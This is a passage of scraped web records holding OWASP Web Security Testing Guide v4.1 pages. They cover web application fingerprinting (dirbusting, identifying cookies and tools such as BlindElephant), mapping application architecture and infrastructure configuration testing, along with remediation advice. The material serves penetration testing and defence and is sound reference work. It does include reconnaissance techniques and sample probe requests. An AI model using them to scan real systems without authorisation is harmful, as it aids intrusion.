found, i.e. links to application-specific CSS or JS folders. Finally, specific script variables might also point to a certain application.\n\nFrom the meta tag below, one can easily learn the application used by a website and its version. The comment, specific paths and script variables can all help an attacker to quickly determine an instance of an application.\n\n```\n \n```\n\nMore frequently such information is placed between\n`` ``tags, in `` tags or at the end of the page. Nevertheless, it is recommended to check the whole document since it can be useful for other purposes such as inspection of other useful comments and hidden fields.\n\n### Specific Files and Folders\n\nApart from information gathered from HTML sources, there is another approach which greatly helps an attacker to determine the application with high accuracy. Every application has its own specific file and folder structure on the server. It has been pointed out that one can see the specific path from the HTML page source but sometimes they are not explicitly presented there and still reside on the server.\n\nIn order to uncover them a technique known as dirbusting is used. Dirbusting is brute forcing a target with predictable folder and file names and monitoring HTTP-responses to emumerate server contents. This information can be used both for finding default files and attacking them, and for fingerprinting the web application. Dirbusting can be done in several ways, the example below shows a successful dirbusting attack against a WordPress-powered target with the help of defined list and intruder functionality of Burp Suite.\n\n*Figure 4.1.9-1: Dirbusting with Burp*\n\nWe can see that for some WordPress-specific folders (for instance, `/wp-includes/`, `/wp-admin/` and `/wp-content/`) HTTP-reponses are 403 (Forbidden), 302 (Found, redirection to wp-login.php) and 200 (OK) respectively. This is a good indicator that the target is WordPress-powered. The same way it is possible to dirbust different application plugin folders and their versions. On the screenshot below one can see a typical CHANGELOG file of a Drupal plugin, which provides information on the application being used and discloses a vulnerable plugin version.\n\n*Figure 4.1.9-2: Drupal Botcha Disclosure*\n\nTip: before starting dirbusting, it is recommended to check the robots.txt file first. Sometimes application specific folders and other sensitive information can be found there as well. An example of such a robots.txt file is presented on a screenshot below.\n\n*Figure 4.1.9-3: Robots Info Disclosure*\n\nSpecific files and folders are different for each specific application. It is recommended to install the corresponding application during penetration tests in order to have better understanding of what infrastructure is presented and what files might be left on the server. However, several good file lists already exist and one good example is [FuzzDB wordlists of predictable files/folders](https://github.com/fuzzdb-project/fuzzdb).\n\n## Common Application Identifiers\n\n### Cookies\n\n| | |\n| --- | --- |\n| phpBB | phpbb3_ |\n| Wordpress | wp-settings |\n| 1C-Bitrix | BITRIX_ |\n| AMPcms | AMP |\n| Django CMS | django |\n| DotNetNuke | DotNetNukeAnonymous |\n| e107 | e107_tz |\n| EPiServer | EPiTrace, EPiServer |\n| Graffiti CMS | graffitibot |\n| Hotaru CMS | hotaru_mobile |\n| ImpressCMS | ICMSession |\n| Indico | MAKACSESSION |\n| InstantCMS | InstantCMS[logdate] |\n| Kentico CMS | CMSPreferredCulture |\n| MODx | SN4[12symb] |\n| TYPO3 | fe_typo_user |\n| Dynamicweb | Dynamicweb |\n| LEPTON | lep[some_numeric_value]+sessionid |\n| Wix | Domain=.wix.com |\n| VIVVO | VivvoSessionId |\n\n### HTML Source Code\n\n| Application | Keyword |\n| --- | --- |\n| Wordpress | `` |\n| phpBB | `<body id=“phpbb”` |\n| Mediawiki | `` |\n| Joomla | `` |\n| Drupal | `` |\n| DotNetNuke | DNN Platform - [http://www.dnnsoftware.com](http://www.dnnsoftware.com) |\n\n## Tools\n\nA list of general and well-known tools is presented below. There are also a lot of other utilities, as well as framework-based fingerprinting tools.\n\n### WhatWeb\n\nWebsite: [https://www.morningstarsecurity.com/research/whatweb](https://www.morningstarsecurity.com/research/whatweb)\n\nCurrently one of the best fingerprinting tools on the market. Included in a default [Kali Linux](https://www.kali.org/) build. Language: Ruby Matches for fingerprinting are made with:\n\n- Text strings (case sensitive)\n- Regular expressions\n- Google Hack Database queries (limited set of keywords)\n- MD5 hashes\n- URL recognition\n- HTML tag patterns\n- Custom ruby code for passive and aggressive operations\n\nSample output is presented on a screenshot below:\n\n*Figure 4.1.9-4: Whatweb Output Sample*\n\n### BlindElephant\n\nWebsite:[http://blindelephant.sourceforge.net/](http://blindelephant.sourceforge.net/)\n\nThis great tool works on the principle of static file checksum based version difference thus providing a very high quality of fingerprinting. Language: Python\n\nSample output of a successful fingerprint:\n\n```\npentester$ python BlindElephant.py http://my_target drupal\nLoaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups.\nStarting BlindElephant fingerprint for version of drupal at http://my_target\n\nHit http://my_target/CHANGELOG.txt\nFile produced no match. Error: Retrieved file doesn't match known fingerprint. 527b085a3717bd691d47713dff74acf4\n\nHit http://my_target/INSTALL.txt\nFile produced no match. Error: Retrieved file doesn't match known fingerprint. 14dfc133e4101be6f0ef5c64566da4a4\n\nHit http://my_target/misc/drupal.js\nPossible versions based on result: 7.12, 7.13, 7.14\n\nHit http://my_target/MAINTAINERS.txt\nFile produced no match. Error: Retrieved file doesn't match known fingerprint. 36b740941a19912f3fdbfcca7caa08ca\n\nHit http://my_target/themes/garland/style.css\nPossible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, 7.10, 7.11, 7.12, 7.13, 7.14\n\n...\n\nFingerprinting resulted in:\n7.14\n\nBest Guess: 7.14\n```\n\n### Wappalyzer\n\nWebsite: [https://www.wappalyzer.com/](https://www.wappalyzer.com/)\n\nWapplyzer is a Firefox Chrome extension. It works only on regular expression matching and doesn’t need anything other than the page to be loaded on browser. It works completely at the browser level and gives results in the form of icons. Although sometimes it has false positives, this is very handy to have notion of what technologies were used to construct a target website immediately after browsing a page.\n\nNote that by default, Wappalyzer will send anonymised data about the technology running on visited websites back to the developers, which is then sold to third parties. Make sure you disable this data collection in the add-on options.\n\nSample output of a plug-in is presented on a screenshot below.\n\n*Figure 4.1.9-5: Wappalyzer Output for OWASP Website*\n\n## References\n\n### Whitepapers\n\n- [Saumil Shah: “An Introduction to HTTP fingerprinting”](https://web.archive.org/web/20190526182734/https://net-square.com/httprint_paper.html)\n- [Anant Shrivastava : “Web Application Finger Printing”](https://anantshri.info/articles/web_app_finger_printing.html)\n\n## Remediation\n\nThe general advice is to use several of the tools described above and check logs to better understand what exactly helps an attacker to disclose the web framework. By performing multiple scans after changes have been made to hide framework tracks, it’s possible to achieve a better level of security and to make sure of the framework can not be detected by automatic scans. Below are some specific recommendations by framework marker location and some additional interesting approaches.\n\n### HTTP Headers\n\nCheck the configuration and disable or obfuscate all HTTP-headers that disclose information the technologies used. Here is an interesting article about HTTP-headers obfuscation using Netscaler\n\n### Cookies\n\nIt is recommended to change cookie names by making changes in the corresponding configuration files.\n\n#### HTML Source Code\n\nManually check the contents of the HTML code and remove everything that explicitly points to the framework.\n\nGeneral guidelines:\n\n- Make sure there are no visual markers disclosing the framework\n- Remove any unnecessary comments (copyrights, bug information, specific framework comments)\n- Remove META and generator tags\n- Use the companies own CSS or JS files and do not store those in a framework-specific folders\n- Do not use default scripts on the page or obfuscate them if they must be used.\n\n#### Specific Files and Folders\n\nGeneral guidelines:\n\n- Remove any unnecessary or unused files on the server. This implies text files disclosing information about versions and installation too.\n- Restrict access to other files in order to achieve 404-response when accessing them from outside. This can be done, for example, by modifying htaccess file and adding RewriteCond or RewriteRule there. An example of such restriction for two common WordPress folders is presented below.\n\n```\nRewriteCond %{REQUEST_URI} /wp-login\\.php$ [OR]\nRewriteCond %{REQUEST_URI} /wp-admin/$\nRewriteRule $ /http://your_website [R=404,L]\n```\n\nHowever, these are not the only ways to restrict access. In order to automate this process, certain framework-specific plugins exist. One example for WordPress is [StealthLogin](https://wordpress.org/plugins/stealth-login-page).\n\n#### Additional Approaches\n\nGeneral guidelines:\n\n- Checksum management\nThe purpose of this approach is to beat checksum-based scanners and not let them disclose files by their hashes. Generally, there are two approaches in checksum management:\n - Change the location of where those files are placed (i.e. move them to another folder, or rename the existing folder)\n - Modify the contents - even slight modification results in a completely different hash sum, so adding a single byte in the end of the file should not be a big problem.\n- Controlled chaos\nA funny and effective method that involves adding bogus files and folders from other frameworks in order to fool scanners and confuse an attacker. But be careful not to overwrite existing files and folders and to break the current framework!\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 12324, "slov": 1702, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:54", "sha256": "f39487bf6e2ca99bf974440873da1d84ac69caa24e1865db68c08afe326b724f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/fuzzdb-project/fuzzdb", "http://www.dnnsoftware.com/", "https://www.morningstarsecurity.com/research/whatweb", "https://www.kali.org/", "http://blindelephant.sourceforge.net/", "https://www.wappalyzer.com/", "https://net-square.com/httprint_paper.html", "https://anantshri.info/articles/web_app_finger_printing.html", "https://wordpress.org/plugins/stealth-login-page", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Map Application Architecture"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Map the Application Architecture"}, {"uroven": 4, "text": "Example of the Security Server of Check Point Firewall-1 NG AI “Protecting” a Web Server"}], "markdown": "# WSTG - v4.1\n\n# Map Application Architecture\n\n| ID |\n| --- |\n| WSTG-INFO-10 |\n\n## Summary\n\nThe complexity of interconnected and heterogeneous web server infrastructure can include hundreds of web applications and makes configuration management and review a fundamental step in testing and deploying every single application. In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and seemingly unimportant problems may evolve into severe risks for another application on the same server.\n\nTo address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues. Before performing an in-depth review it is necessary to map the network and application architecture. The different elements that make up the infrastructure need to be determined to understand how they interact with a web application and how they affect security.\n\n## How to Test\n\n### Map the Application Architecture\n\nThe application architecture needs to be mapped through some test to determine what different components are used to build the web application. In small setups, such as a simple CGI-based application, a single server might be used that runs the web server which executes the C, Perl, or Shell CGIs application, and perhaps also the authentication mechanism.\n\nOn more complex setups, such as an online bank system, multiple servers might be involved. These may include a reverse proxy, a front-end web server, an application server and a database server or LDAP server. Each of these servers will be used for different purposes and might be even be divided in different networks with firewalls between them. This creates different DMZs so that access to the web server will not grant a remote user access to the authentication mechanism itself, and so that compromises of the different elements of the architecture can be isolated so that they will not compromise the whole architecture.\n\nGetting knowledge of the application architecture can be easy if this information is provided to the testing team by the application developers in document form or through interviews, but can also prove to be very difficult if doing a blind penetration test.\n\nIn the latter case, a tester will first start with the assumption that there is a simple setup (a single server). Then they will retrieve information from other tests and derive the different elements, question this assumption and extend the architecture map. The tester will start by asking simple questions such as: “Is there a firewalling system protecting the web server?”. This question will be answered based on the results of network scans targeted at the web server and the analysis of whether the network ports of the web server are being filtered in the network edge (no answer or ICMP unreachables are received) or if the server is directly connected to the Internet (i.e. returns RST packets for all non-listening ports). This analysis can be enhanced to determine the type of firewall used based on network packet tests. Is it a stateful firewall or is it an access list filter on a router? How is it configured? Can it be bypassed?\n\nDetecting a reverse proxy in front of the web server needs to be done by the analysis of the web server banner, which might directly disclose the existence of a reverse proxy (for example, if ‘[WebSEAL](https://publib.boulder.ibm.com/tividd/td/ITAME/SC32-1359-00/en_US/HTML/am51_webseal_guide11.htm#i1038108)’ is returned). It can also be determined by obtaining the answers given by the web server to requests and comparing them to the expected answers. For example, some reverse proxies act as “intrusion prevention systems” (or web-shields) by blocking known attacks targeted at the web server. If the web server is known to answer with a 404 message to a request that targets an unavailable page and returns a different error message for some common web attacks like those done by CGI scanners, it might be an indication of a reverse proxy (or an application-level firewall) which is filtering the requests and returning a different error page than the one expected. Another example: if the web server returns a set of available HTTP methods (including TRACE) but the expected methods return errors then there is probably something in between blocking them.\n\nIn some cases, even the protection system gives itself away:\n\n```\nGET /web-console/ServerInfo.jsp%00 HTTP/1.0\n\nHTTP/1.0 200\nPragma: no-cache\nCache-Control: no-cache\nContent-Type: text/html\nContent-Length: 83\n\nError

Error

\nFW-1 at XXXXXX: Access denied. \n```\n\n#### Example of the Security Server of Check Point Firewall-1 NG AI “Protecting” a Web Server\n\nReverse proxies can also be introduced as proxy-caches to accelerate the performance of back-end application servers. Detecting these proxies can be done based on the server header. They can also be detected by timing requests that should be cached by the server and comparing the time taken to server the first request with subsequent requests.\n\nAnother element that can be detected is network load balancers. Typically, these systems will balance a given TCP/IP port to multiple servers based on different algorithms (round-robin, web server load, number of requests, etc.). Thus, the detection of this architecture element needs to be done by examining multiple requests and comparing results to determine if the requests are going to the same or different web servers. For example, based on the Date header if the server clocks are not synchronized. In some cases, the network load balance process might inject new information in the headers that will make it stand out distinctively, like the AlteonP cookie introduced by Nortel’s Alteon WebSystems load balancer.\n\nApplication web servers are usually easy to detect. The request for several resources is handled by the application server itself (not the web server) and the response header will vary significantly (including different or additional values in the answer header). Another way to detect these is to see if the web server tries to set cookies which are indicative of an application web server being used (such as the JSESSIONID provided by some J2EE servers), or to rewrite URLs automatically to do session tracking.\n\nAuthentication back ends (such as LDAP directories, relational databases, or RADIUS servers) however, are not as easy to detect from an external point of view in an immediate way, since they will be hidden by the application itself.\n\nThe use of a back end database can be determined simply by navigating an application. If there is highly dynamic content generated “on the fly,” it is probably being extracted from some sort of database by the application itself. Sometimes the way information is requested might give insight to the existence of a database back-end. For example, an online shopping application that uses numeric identifiers (‘id’) when browsing the different articles in the shop. However, when doing a blind application test, knowledge of the underlying database is usually only available when a vulnerability surfaces in the application, such as poor exception handling or susceptibility to SQL injection.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7294, "slov": 1155, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:55", "sha256": "9a0f574c94a17e3a61ac515ba3e4933f421f84cb68142b20f8eeb840b1f13e87", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://publib.boulder.ibm.com/tividd/td/ITAME/SC32-1359-00/en_US/HTML/am51_webseal_guide11.htm", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.1 Information Gathering"}], "markdown": "# WSTG - v4.1\n\n# 4.1 Information Gathering\n\n4.1.1 [Conduct Search Engine Discovery Reconnaissance for Information Leakage](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage)\n\n4.1.2 [Fingerprint Web Server](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server)\n\n4.1.3 [Review Webserver Metafiles for Information Leakage](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage)\n\n4.1.4 [Enumerate Applications on Webserver](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver)\n\n4.1.5 [Review Webpage Comments and Metadata for Information Leakage](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Comments_and_Metadata_for_Information_Leakage)\n\n4.1.6 [Identify Application Entry Points](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points)\n\n4.1.7 [Map Execution Paths Through Application](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application)\n\n4.1.8 [Fingerprint Web Application Framework](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework)\n\n4.1.9 [Fingerprint Web Application](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application)\n\n4.1.10 [Map Application Architecture](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2111, "slov": 145, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:45", "sha256": "acf63d8ee53a5b16c9364c788153d73bdead80b1b4d51ad3685f44475cdb46ed", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Network Infrastructure Configuration"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Known Server Vulnerabilities"}, {"uroven": 3, "text": "Administrative Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Test Network Infrastructure Configuration\n\n| ID |\n| --- |\n| WSTG-CONF-01 |\n\n## Summary\n\nThe intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can include hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application. It takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and seemingly unimportant problems may evolve into severe risks for another application on the same server. In order to address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues, after having mapped the entire architecture.\n\nProper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.\n\nFor example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.\n\nThe following steps need to be taken to test the configuration management infrastructure:\n\n- The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.\n- All the elements of the infrastructure need to be reviewed in order to make sure that they don’t contain any known vulnerabilities.\n- A review needs to be made of the administrative tools used to maintain all the different elements.\n- The authentication systems, need to reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.\n- A list of defined ports which are required for the application should be maintained and kept under change control.\n\nAfter having mapped the different elements that make up the infrastructure (see [Map Network and Application Architecture](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)) it is possible to review the configuration of each element founded and test for any known vulnerabilities.\n\n## Test Objectives\n\nMap the infrastructure supporting the application and understand how it affects the security of the application.\n\n## How to Test\n\n### Known Server Vulnerabilities\n\nVulnerabilities found in the different areas of the application architecture, be it in the web server or in the back end database, can severely compromise the application itself. For example, consider a server vulnerability that allows a remote, unauthenticated user to upload files to the web server or even to replace files. This vulnerability could compromise the application, since a rogue user may be able to replace the application itself or introduce code that would affect the back end servers, as its application code would be run just like any other application.\n\nReviewing server vulnerabilities can be hard to do if the test needs to be done through a blind penetration test. In these cases, vulnerabilities need to be tested from a remote site, typically using an automated tool. However, testing for some vulnerabilities can have unpredictable results on the web server, and testing for others (like those directly involved in denial of service attacks) might not be possible due to the service downtime involved if the test was successful.\n\nSome automated tools will flag vulnerabilities based on the web server version retrieved. This leads to both false positives and false negatives. On one hand, if the web server version has been removed or obscured by the local site administrator the scan tool will not flag the server as vulnerable even if it is. On the other hand, if the vendor providing the software does not update the web server version when vulnerabilities are fixed, the scan tool will flag vulnerabilities that do not exist. The latter case is actually very common as some operating system vendors back port patches of security vulnerabilities to the software they provide in the operating system, but do not do a full upload to the latest software version. This happens in most GNU/Linux distributions such as Debian, Red Hat or SuSE. In most cases, vulnerability scanning of an application architecture will only find vulnerabilities associated with the “exposed” elements of the architecture (such as the web server) and will usually be unable to find vulnerabilities associated to elements which are not directly exposed, such as the authentication back ends, the back end database, or reverse proxies in use.\n\nFinally, not all software vendors disclose vulnerabilities in a public way, and therefore these weaknesses do not become registered within publicly known vulnerability databases [2]. This information is only disclosed to customers or published through fixes that do not have accompanying advisories. This reduces the usefulness of vulnerability scanning tools. Typically, vulnerability coverage of these tools will be very good for common products (such as the Apache web server, Microsoft’s Internet Information Server, or IBM’s Lotus Domino) but will be lacking for lesser known products.\n\nThis is why reviewing vulnerabilities is best done when the tester is provided with internal information of the software used, including versions and releases used and patches applied to the software. With this information, the tester can retrieve the information from the vendor itself and analyze what vulnerabilities might be present in the architecture and how they can affect the application itself. When possible, these vulnerabilities can be tested to determine their real effects and to detect if there might be any external elements (such as intrusion detection or prevention systems) that might reduce or negate the possibility of successful exploitation. Testers might even determine, through a configuration review, that the vulnerability is not even present, since it affects a software component that is not in use.\n\nIt is also worthwhile to note that vendors will sometimes silently fix vulnerabilities and make the fixes available with new software releases. Different vendors will have different release cycles that determine the support they might provide for older releases. A tester with detailed information of the software versions used by the architecture can analyse the risk associated to the use of old software releases that might be unsupported in the short term or are already unsupported. This is critical, since if a vulnerability were to surface in an old software version that is no longer supported, the systems personnel might not be directly aware of it. No patches will be ever made available for it and advisories might not list that version as vulnerable as it is no longer supported. Even in the event that they are aware that the vulnerability is present and the system is vulnerable, they will need to do a full upgrade to a new software release, which might introduce significant downtime in the application architecture or might force the application to be re-coded due to incompatibilities with the latest software version.\n\n### Administrative Tools\n\nAny web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application. This information includes static content (web pages, graphic files), application source code, user authentication databases, etc. Administrative tools will differ depending on the site, technology, or software used. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (in the Apache case [3]) or use operating-system GUI tools (when using Microsoft’s IIS server or ASP.Net).\n\nIn most cases the server configuration will be handled using different file maintenance tools used by the web server, which are managed through FTP servers, WebDAV, network file systems (NFS, CIFS) or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself (users, content, etc.).\n\nAfter having mapped the administrative interfaces used to manage the different parts of the architecture it is important to review them since if an attacker gains access to any of them he can then compromise or damage the application architecture. To do this it is important to:\n\n- Determine the mechanisms that control access to these interfaces and their associated susceptibilities. This information may be available online.\n- Change the default username and password.\n\nSome companies choose not to manage all aspects of their web server applications, but may have other parties managing the content delivered by the web application. This external company might either provide only parts of the content (news updates or promotions) or might manage the web server completely (including content and code). It is common to find administrative interfaces available from the Internet in these situations, since using the Internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.\n\n## References\n\n- [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.\n- [2] Such as Symantec’s Bugtraq, ISS’ X-Force, or NIST’s National Vulnerability Database (NVD).\n- [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10484, "slov": 1599, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:57", "sha256": "d0e4e3418d847bcc9bbdee0bf9cb6d2cf1869d9d6d35a2fd68fe9fd55d91a6f6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Application Platform Configuration"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Sample and Known Files and Directories"}, {"uroven": 4, "text": "System Configuration"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "Configuration Review"}, {"uroven": 4, "text": "Logging"}, {"uroven": 5, "text": "Sensitive Information in Logs"}, {"uroven": 4, "text": "Log Location"}, {"uroven": 4, "text": "Log Storage"}, {"uroven": 4, "text": "Log Rotation"}, {"uroven": 4, "text": "Log Access Control"}, {"uroven": 4, "text": "Log Review"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Test Application Platform Configuration\n\n| ID |\n| --- |\n| WSTG-CONF-02 |\n\n## Summary\n\nProper configuration of the single elements that make up an application architecture is important in order to prevent mistakes that might compromise the security of the whole 